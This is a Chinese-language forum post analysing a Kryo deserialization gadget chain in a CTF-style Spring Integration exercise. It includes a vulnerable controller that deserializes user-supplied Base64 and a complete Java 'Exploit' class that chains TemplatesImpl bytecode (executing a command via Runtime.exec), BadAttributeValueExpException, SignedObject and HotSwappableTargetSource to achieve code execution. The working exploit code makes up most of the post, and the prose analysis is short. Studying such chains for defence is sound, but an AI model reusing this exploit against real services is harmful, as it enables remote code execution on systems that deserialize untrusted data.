ToB企服应用市场:ToB评测及商务社交产业平台

标题: Kryo反序列化链分析 [打印本页]

作者: 八卦阵    时间: 2024-5-17 08:22
标题: Kryo反序列化链分析
前言

Kryo是一个快速序列化/反序列化工具,依赖于字节码天生机制(底层使用了ASM库),因此在序列化速度上有一定的上风,但正因如此,其使用也只能限定在基于JVM的语言上。
Kryo序列化出的效果,是其自定义的,独有的一种格式。由于其序列化出的效果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有消耗)
环境搭建
  1. <dependency>
  2.     <groupId>com.esotericsoftware</groupId>
  3.     <artifactId>kryo</artifactId>
  4.     <version>5.2.0</version>
  5. </dependency>
  6. <dependency>
  7.     <groupId>org.springframework</groupId>
  8.     <artifactId>spring-messaging</artifactId>
  9.     <version>5.3.18</version>
  10. </dependency>
  11. <dependency>
  12.     <groupId>org.springframework.integration</groupId>
  13.     <artifactId>spring-integration-core</artifactId>
  14.     <version>5.3.1.RELEASE</version>
  15. </dependency>
  16. <dependency>
  17.     <groupId>org.javassist</groupId>
  18.     <artifactId>javassist</artifactId>
  19.     <version>3.28.0-GA</version>
  20. </dependency>
复制代码
例题
  1. package com.sea;
  2. import java.util.Base64;
  3. import org.springframework.integration.codec.CodecMessageConverter;
  4. import org.springframework.integration.codec.kryo.MessageCodec;
  5. import org.springframework.messaging.Message;
  6. import org.springframework.messaging.MessageHeaders;
  7. import org.springframework.stereotype.Controller;
  8. import org.springframework.web.bind.annotation.RequestMapping;
  9. import org.springframework.web.bind.annotation.ResponseBody;
  10. @Controller
  11. public class MessageController {
  12.     public MessageController() {
  13.     }
  14.     @ResponseBody
  15.     @RequestMapping({"/"})
  16.     public Object message(String message) throws Exception {
  17.         byte[] decodemsg;
  18.         if (message == null) {
  19.             decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
  20.         } else {
  21.             try {
  22.                 decodemsg = Base64.getDecoder().decode(message);
  23.             } catch (Exception var5) {
  24.                 decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
  25.             }
  26.         }
  27.         CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
  28.         Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
  29.         return messagecode.getPayload();
  30.     }
  31. }
复制代码
漏洞点在codecMessageConverter.toMessage里面,而且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessage和fromMessage,对应的就是反序列化和序列化了

Kyro反序列化链
  1. package com.example.kryo;
  2. import com.esotericsoftware.kryo.Kryo;
  3. import com.fasterxml.jackson.databind.node.POJONode;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  5. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  6. import com.sun.org.apache.xpath.internal.objects.XString;
  7. import javassist.ClassPool;
  8. import javassist.CtClass;
  9. import javassist.CtConstructor;
  10. import javassist.CtNewConstructor;
  11. import org.objenesis.strategy.StdInstantiatorStrategy;
  12. import org.springframework.aop.target.HotSwappableTargetSource;
  13. import org.springframework.integration.codec.CodecMessageConverter;
  14. import org.springframework.integration.codec.kryo.MessageCodec;
  15. import org.springframework.messaging.Message;
  16. import org.springframework.messaging.MessageHeaders;
  17. import org.springframework.messaging.support.GenericMessage;
  18. import javax.management.BadAttributeValueExpException;
  19. import javax.xml.transform.Templates;
  20. import java.io.ByteArrayOutputStream;
  21. import java.io.IOException;
  22. import java.io.ObjectOutputStream;
  23. import java.lang.reflect.Array;
  24. import java.lang.reflect.Constructor;
  25. import java.lang.reflect.Field;
  26. import java.security.*;
  27. import java.util.Base64;
  28. import java.util.HashMap;
  29. public class Exploit {
  30.     public static void main(String[] args) throws Exception {
  31.         Kryo kryo = new Kryo();
  32.         kryo.setRegistrationRequired(false);
  33.         kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
  34.         // 二次反序列化
  35.         ClassPool pool = ClassPool.getDefault();
  36.         CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
  37.         ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  38.         CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec("calc");}", ctClass);
  39.         ctClass.addConstructor(ctConstructor);
  40.         byte[] byteCode = ctClass.toBytecode();
  41.         Templates templates = new TemplatesImpl();
  42.         setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  43.         setFieldValue(templates, "_name", "whatever");
  44.         setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
  45.         POJONode pojoNode1 = new POJONode(templates);
  46.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
  47.         setFieldValue(badAttributeValueExpException, "val", pojoNode1);
  48.         // 初始化 SignedObject
  49.         KeyPairGenerator keyPairGenerator;
  50.         keyPairGenerator = KeyPairGenerator.getInstance("DSA");
  51.         keyPairGenerator.initialize(1024);
  52.         KeyPair keyPair = keyPairGenerator.genKeyPair();
  53.         PrivateKey privateKey = keyPair.getPrivate();
  54.         Signature signingEngine = Signature.getInstance("DSA");
  55.         // 设置二次反序列化入口
  56.         SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
  57.         // 一次反序列化
  58.         POJONode pojoNode2 = new POJONode(signedObject);
  59.         HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
  60.         HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
  61.         // 手动构造 HashMap 以防触发正向利用链
  62.         HashMap hashMap = new HashMap();
  63.         setFieldValue(hashMap, "size", 2);
  64.         Class nodeC;
  65.         try {
  66.             nodeC = Class.forName("java.util.HashMap$Node");
  67.         } catch (ClassNotFoundException e) {
  68.             nodeC = Class.forName("java.util.HashMap$Entry");
  69.         }
  70.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  71.         nodeCons.setAccessible(true);
  72.         Object tbl = Array.newInstance(nodeC, 2);
  73.         Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
  74.         Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
  75.         setFieldValue(hashMap, "table", tbl);
  76.         //String serial = serial(hashMap);
  77.         //System.out.println(serial);
  78.         CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
  79.         // 序列化
  80.         GenericMessage genericMessage = new GenericMessage(hashMap);
  81.         byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
  82.         // 反序列化
  83.         Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
  84.         messagecode.getPayload();
  85.     }
  86.     public static String serial(Object o) throws IOException, NoSuchFieldException {
  87.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  88.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  89. //        Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
  90. //        writeReplaceMethod.setAccessible(true);
  91.         oos.writeObject(o);
  92.         oos.close();
  93.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  94.         return base64String;
  95.     }
  96.     public static void setFieldValue(Object obj, String name, Object value) throws Exception {
  97.         Field field = obj.getClass().getDeclaredField(name);
  98.         field.setAccessible(true);
  99.         field.set(obj, value);
  100.     }
  101. }
复制代码
分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波

进入decode方法

这里触发kryo的readObject,手动进去

进入read方法,这里为MapSerializer的read方法

这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4